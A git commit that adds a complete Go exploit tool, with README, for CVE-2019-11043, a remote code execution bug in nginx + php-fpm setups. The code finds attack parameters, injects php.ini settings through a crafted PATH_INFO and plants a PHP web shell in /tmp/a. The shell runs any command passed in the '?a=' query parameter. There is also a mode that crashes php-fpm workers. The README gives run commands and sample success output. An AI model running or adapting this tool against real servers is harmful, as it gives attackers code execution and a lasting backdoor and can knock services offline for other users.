add CVE-2019-11043-PHP远程代码执行漏

This commit is contained in:
mr-xn
2019-10-23 21:07:12 +08:00
parent 63cb9c8bfa
commit 3f9a0c92fe
18 changed files with 777 additions and 0 deletions
+61
View File
@@ -0,0 +1,61 @@
# PHuiP-FPizdaM
## What's this
This is an exploit for a bug in php-fpm (CVE-2019-11043). In certain nginx + php-fpm configurations, the bug is possible to trigger from the outside. This means that a web user may get code execution if you have vulnerable config (see below).
## What's vulnerable
If a webserver runs nginx + php-fpm and nginx have a configuration like
```
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
```
which also lacks any script existence checks (like `try_files`), then you can probably hack it with this sploit.
So, the full list of preconditions is:
1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)` must be forwarded to php-fpm (maybe the regexp can be stricter, see [#1](https://github.com/neex/phuip-fpizdam/issues/1)).
2. The `fastcgi_split_path_info` directive must be there and contain a regexp starting with `^` and ending with `$`, so we can break it with a newline character.
3. There must be a `PATH_INFO` variable assignment via statement `fastcgi_param PATH_INFO $fastcgi_path_info;`. At first, we thought it is always present in the `fastcgi_params` file, but it's not true.
4. No file existence checks like `try_files $uri =404` or `if (-f $uri)`. If Nginx drops requests to non-existing scripts before FastCGI forwarding, our requests never reach php-fpm. Adding this is also the easiest way to patch.
## Isn't this known to be vulnerable for years?
A long time ago php-fpm didn't restrict the extensions of the scripts, meaning that something like `/avatar.png/some-fake-shit.php` could execute `avatar.png` as a PHP script. This issue was fixed around 2010.
The current one doesn't require file upload, works in the most recent versions (until the fix has landed), and, most importantly, the exploit is much cooler.
## How to run
Install it using
```
go install github.com/neex/phuip-fpizdam
```
and try to run using `phuip-fpizdam [url]`. Good output looks like this:
```
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
```
After this, you can start appending `?a=<your command>` to all PHP scripts (you may need multiple retries).
## Credits
Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru).
+67
View File
@@ -0,0 +1,67 @@
package main
import (
"bytes"
"log"
"net/url"
)
var chain = []string{
"short_open_tag=1",
"html_errors=0",
"include_path=/tmp",
"auto_prepend_file=a",
"log_errors=1",
"error_reporting=2",
"error_log=/tmp/a",
"extension_dir=\"<?=`\"",
"extension=\"$_GET[a]`?>\"",
}
const (
checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
successPattern = "/bin/which"
cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
)
func Attack(requester *Requester, params *AttackParams) error {
log.Printf("Performing attack using php.ini settings...")
attackLoop:
for {
for _, payload := range chain {
_, body, err := SetSettingSingle(requester, params, payload, checkCommand)
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand)
break attackLoop
}
}
}
log.Printf("Trying to cleanup /tmp/a...")
cleanup := url.Values{"a": []string{cleanupCommand}}
for {
_, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&")
if err != nil {
return err
}
if bytes.Contains(body, []byte(successPattern)) {
log.Print("Done!")
break
}
}
return nil
}
func KillWorkers(requester *Requester, params *AttackParams, killCount int) error {
for i := 0; i < killCount; i++ {
if _, _, err := requester.Request(BreakingPayload, params); err != nil {
return err
}
}
return nil
}
+14
View File
@@ -0,0 +1,14 @@
package main
const (
UserAgent = "Mozilla/5.0"
PosOffset = 34
SettingEnableRetries = 50
MinQSL = 1500
MaxQSL = 1950
QSLDetectStep = 5
MaxQSLDetectDelta = 10
MaxQSLCandidates = 10
MaxPisosLength = 256
BreakingPayload = "/PHP\nis_the_shittiest_lang.php"
)
+180
View File
@@ -0,0 +1,180 @@
package main
import (
"errors"
"fmt"
"log"
"os"
"sort"
)
var errPisosBruteForbidden = errors.New("pisos length brute is forbidden by command line options")
type AttackParams struct {
QueryStringLength int
PisosLength int
}
func (ap *AttackParams) Complete() bool {
return ap.QueryStringLength != 0 && ap.PisosLength != 0
}
func (ap *AttackParams) String() string {
s := fmt.Sprintf("--qsl %v --pisos %v", ap.QueryStringLength, ap.PisosLength)
if ap.Complete() {
s += " --skip-detect"
}
return s
}
func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onlyQSL bool) (*AttackParams, error) {
var qslCandidates []int
baseResp, _, err := requester.Request("/path\ninfo.php", &AttackParams{MinQSL, 1})
if err != nil {
return nil, fmt.Errorf("error while doing first request: %v", err)
}
baseStatus := baseResp.StatusCode
log.Printf("Base status code is %#v", baseStatus)
if hints.QueryStringLength != 0 {
if onlyQSL {
return nil, errors.New("only-qsl specified with --qsl, nothing to do")
}
log.Printf("Skipping qsl detection, using hint (qsl=%v)", hints.QueryStringLength)
qslCandidates = append(qslCandidates, hints.QueryStringLength)
} else {
for qsl := MinQSL; qsl <= MaxQSL; qsl += QSLDetectStep {
ap := &AttackParams{qsl, 1}
resp, _, err := requester.Request(BreakingPayload, ap)
if err != nil {
return nil, fmt.Errorf("error for %#v: %v", ap, err)
}
if resp.StatusCode != baseStatus {
log.Printf("Status code %v for qsl=%v, adding as a candidate", resp.StatusCode, qsl)
qslCandidates = append(qslCandidates, qsl)
}
}
}
if len(qslCandidates) == 0 {
return nil, errors.New("no qsl candidates found, invulnerable or something wrong")
}
if len(qslCandidates) > MaxQSLCandidates {
return nil, errors.New("too many qsl candidates found, looks like I got banned")
}
qslCandidates = extendQSLCandidatesList(qslCandidates)
log.Printf("The target is probably vulnerable. Possible QSLs: %v", qslCandidates)
if onlyQSL {
return nil, errPisosBruteForbidden
}
for try := 0; try < 10; try++ {
if err := SanityCheck(requester, method, baseStatus); err != nil {
return nil, fmt.Errorf("sanity check failed: %v", err)
}
}
var plCandidates []int
if hints.PisosLength != 0 {
plCandidates = append(plCandidates, hints.PisosLength)
log.Printf("Skipping pisos length brute, using hint (pl=%v)", hints.PisosLength)
} else {
for i := 1; i <= MaxPisosLength; i++ {
plCandidates = append(plCandidates, i)
}
}
payload, err := MakePathInfo(method.PHPOptionEnable)
if err != nil {
// methods are hardcoded, this shouldn't happen
panic(err)
}
for try := 0; try < SettingEnableRetries; try += 1 {
for _, qsl := range qslCandidates {
for _, pl := range plCandidates {
params := &AttackParams{qsl, pl}
resp, data, err := requester.Request(payload, params)
if err != nil {
return nil, fmt.Errorf("error for %#v: %v", params, err)
}
if resp.StatusCode != baseStatus {
log.Printf("Status code %v for %#v", resp.StatusCode, params)
}
if method.Check(resp, data) {
log.Printf("Attack params found: %v", params)
return params, SetSetting(requester, params, method.PHPOptionDisable, SettingEnableRetries)
}
}
}
}
return nil, fmt.Errorf("not vulnerable or other failure, IDK")
}
func SanityCheck(requester *Requester, method *DetectMethod, baseStatus int) error {
resp, data, err := requester.Request("/PHP\nSOSAT", &AttackParams{
QueryStringLength: MaxQSL,
PisosLength: MaxPisosLength,
})
if err != nil {
return err
}
if resp.StatusCode != baseStatus {
return fmt.Errorf("invalid status code: %v (must be %v). Maybe \".php\" suffix is required?", resp.StatusCode, baseStatus)
}
if method.Check(resp, data) {
_, _ = fmt.Fprintf(os.Stderr, `
OK, here's what happened:
I was trying to set %#v setting using the vulnerability.
If it had been set I would have been able to detect it so I would have known
the attack params. However, my %#v detector says it's
already set before I took any actions.
This can happen for one of two reasons:
1. The server has %#v already enabled in the config (or the script behaves like it).
2. You launched the attack previously and resetting back to %#v failed.
If it's 1, everything is simple: try another detection method.
If it's 2, there might be some problems. The server now runs with the poisoned
config and may seem broken for other users if the detection method is intrusive
(like "output_handler=md5"). I don't know how to fix it.
If you have previously retrieved attack params (QSL and Pisos) try to use them
with --skip-detection. If you manage to get RCE you can fix the server. Another
option is to try --reset-setting flag, but I'm not sure it will help.
Another option is to use --kill-workers, this may kill php-fpm workers with SIGSEGV.
They will restart and the server will become usable again.
If you don't have attack params, used intrusive detection method and don't own the
server, you are fucked.
`, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionDisable)
return fmt.Errorf("already attacked? Setting %v seems to be set", method.PHPOptionEnable)
}
return nil
}
func extendQSLCandidatesList(candidates []int) []int {
values := make(map[int]struct{})
for _, qsl := range candidates {
for delta := 0; delta <= MaxQSLDetectDelta; delta += QSLDetectStep {
c := qsl - delta
values[c] = struct{}{}
}
}
var extended []int
for qsl := range values {
extended = append(extended, qsl)
}
sort.Sort(sort.IntSlice(extended))
return extended
}
@@ -0,0 +1,29 @@
package main
import (
"net/http"
"strings"
)
type DetectMethod struct {
PHPOptionEnable string
PHPOptionDisable string
Check func(resp *http.Response, data []byte) bool
}
var Methods = map[string]*DetectMethod{
"session.auto_start": {
PHPOptionEnable: "session.auto_start=1",
PHPOptionDisable: "session.auto_start=0",
Check: func(resp *http.Response, _ []byte) bool {
return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID")
},
},
"output_handler.md5": {
PHPOptionEnable: "output_handler=md5",
PHPOptionDisable: "output_handler=NULL",
Check: func(_ *http.Response, data []byte) bool {
return len(data) == 16
},
},
}
+5
View File
@@ -0,0 +1,5 @@
module phuip-fpizdam
go 1.12
require github.com/spf13/cobra v0.0.5
+33
View File
@@ -0,0 +1,33 @@
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
github.com/spf13/cobra v0.0.5 h1:f0B+LkLX6DtmRH1isoNA9VTtNUK9K8xYd28JNNfOv/s=
github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg=
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+124
View File
@@ -0,0 +1,124 @@
package main
import (
"log"
"github.com/spf13/cobra"
)
func main() {
var (
method string
cookie string
setting string
skipDetect bool
skipAttack bool
killWorkers bool
killCount int
resetSetting bool
resetRetries int
onlyQSL bool
params = &AttackParams{}
)
var cmd = &cobra.Command{
Use: "phuip-fpizdam [url]",
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
url := args[0]
m, ok := Methods[method]
if !ok {
log.Fatalf("Unknown detection method: %v", method)
}
requester, err := NewRequester(url, cookie)
if err != nil {
log.Fatalf("Failed to create requester: %v", err)
}
if resetSetting {
if !params.Complete() {
log.Fatal("--reset-setting requires complete params")
}
if setting == "" {
setting = m.PHPOptionDisable
}
if resetRetries == -1 {
resetRetries = 1 << 30
}
if err := SetSetting(requester, params, setting, resetRetries); err != nil {
log.Fatalf("ResetSetting() returned error: %v", err)
}
log.Printf("I did my best trying to set %#v", setting)
return
}
if setting != "" {
log.Fatal("--setting requires --reset-setting")
}
if killWorkers {
if params.QueryStringLength == 0 {
log.Fatal("QSL value is required for killing workers")
}
// The breaking payload is 4 bytes shorter than usual (34), so we have
// (Δ|SCRIPT_FILENAME| + Δ|REQUEST_URI| + Δ|DOCUMENT_URI|)/2 = 6.
// This probably won't work in some configurations.
params.QueryStringLength += 6
if err := KillWorkers(requester, params, killCount); err != nil {
log.Fatalf("KillWorkers() returned error: %v", err)
}
log.Printf("all done")
return
}
if skipDetect {
if !params.Complete() {
log.Fatal("Got --skip-detect and attack params are incomplete, don't know what to do")
}
log.Printf("Using attack params %s", params)
} else {
var err error
params, err = Detect(requester, m, params, onlyQSL)
if err != nil {
if err == errPisosBruteForbidden && onlyQSL {
log.Printf("Detect() found QSLs and that's it")
return
}
log.Fatalf("Detect() returned error: %v", err)
}
if !params.Complete() {
log.Fatal("Detect() returned incomplete attack params, something gone wrong")
}
log.Printf("Detect() returned attack params: %s <-- REMEMBER THIS", params)
}
if skipAttack || onlyQSL {
log.Print("Attack phase is disabled, so that's it")
return
}
if err := Attack(requester, params); err != nil {
log.Fatalf("Attack returned error: %v", err)
}
},
}
cmd.Flags().StringVar(&method, "method", "session.auto_start", "detect method (see detect_methods.go)")
cmd.Flags().StringVar(&cookie, "cookie", "", "send this cookie")
cmd.Flags().IntVar(&params.QueryStringLength, "qsl", 0, "qsl hint")
cmd.Flags().IntVar(&params.PisosLength, "pisos", 0, "pisos hint")
cmd.Flags().BoolVar(&skipDetect, "skip-detect", false, "skip detection phase")
cmd.Flags().BoolVar(&skipAttack, "skip-attack", false, "skip attack phase")
cmd.Flags().BoolVar(&onlyQSL, "only-qsl", false, "stop after QSL detection, use this if you just want to check if the server is vulnerable")
cmd.Flags().BoolVar(&resetSetting, "reset-setting", false, "try to reset setting (requires attack params)")
cmd.Flags().IntVar(&resetRetries, "reset-retries", SettingEnableRetries, "how many retries to do for --reset-setting, -1 means a lot")
cmd.Flags().StringVar(&setting, "setting", "", "specify custom php.ini setting for --reset-setting")
cmd.Flags().BoolVar(&killWorkers, "kill-workers", false, "just kill php-fpm workers (requires only QSL)")
cmd.Flags().IntVar(&killCount, "kill-count", SettingEnableRetries, "how many times to send the worker killing payload")
if err := cmd.Execute(); err != nil {
log.Fatal(err)
}
}
+34
View File
@@ -0,0 +1,34 @@
package main
import (
"fmt"
"log"
"net/http"
"strings"
)
func MakePathInfo(phpValue string) (string, error) {
pi := "/PHP_VALUE\n" + phpValue
if len(pi) > PosOffset {
return "", fmt.Errorf("php.ini value is too long: %#v", phpValue)
}
return pi + strings.Repeat(";", PosOffset-len(pi)), nil
}
func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error {
log.Printf("Trying to set %#v...", setting)
for i := 0; i < tries; i++ {
if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil {
return fmt.Errorf("error while setting %#v: %v", setting, err)
}
}
return nil
}
func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) {
payload, err := MakePathInfo(setting)
if err != nil {
return nil, nil, err
}
return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix)
}
+85
View File
@@ -0,0 +1,85 @@
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
"time"
)
type Requester struct {
cl *http.Client
u *url.URL
cookie string
}
func NewRequester(resource, cookie string) (*Requester, error) {
u, err := url.Parse(resource)
if err != nil {
return nil, fmt.Errorf("url.Parse failed: %v", err)
}
if !strings.HasSuffix(u.Path, ".php") {
return nil, fmt.Errorf("well I believe the url must end with \".php\". " +
"Maybe I'm wrong, delete this check if you feel like it")
}
nextProto := make(map[string]func(authority string, c *tls.Conn) http.RoundTripper)
disableRedirects := func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse }
return &Requester{
cl: &http.Client{
Transport: &http.Transport{
DisableCompression: true, // No "Accept-Encoding"
TLSNextProto: nextProto, // No http2
Proxy: http.ProxyFromEnvironment,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
Timeout: 30 * time.Second,
CheckRedirect: disableRedirects, // No redirects
},
u: u,
cookie: cookie,
}, nil
}
func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) {
return r.RequestWithQueryStringPrefix(pathInfo, params, "")
}
func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) {
if !strings.HasPrefix(pathInfo, "/") {
return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo)
}
u := *r.u
u.Path = u.Path + pathInfo
qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath())
if qslDelta%2 != 0 {
panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta))
}
qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix)
if qslPrime < 0 {
return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix)
}
u.RawQuery = prefix + strings.Repeat("Q", qslPrime)
req, err := http.NewRequest("GET", u.String(), nil)
if err != nil {
return nil, nil, err
}
req.Header.Set("User-Agent", UserAgent)
if r.cookie != "" {
req.Header.Set("Cookie", r.cookie)
}
req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D")
req.Header.Set("Ebut", "mamku tvoyu")
resp, err := r.cl.Do(req)
if resp != nil {
defer func() { _ = resp.Body.Close() }()
}
if err != nil {
return nil, nil, err
}
data, err := ioutil.ReadAll(resp.Body)
return resp, data, err
}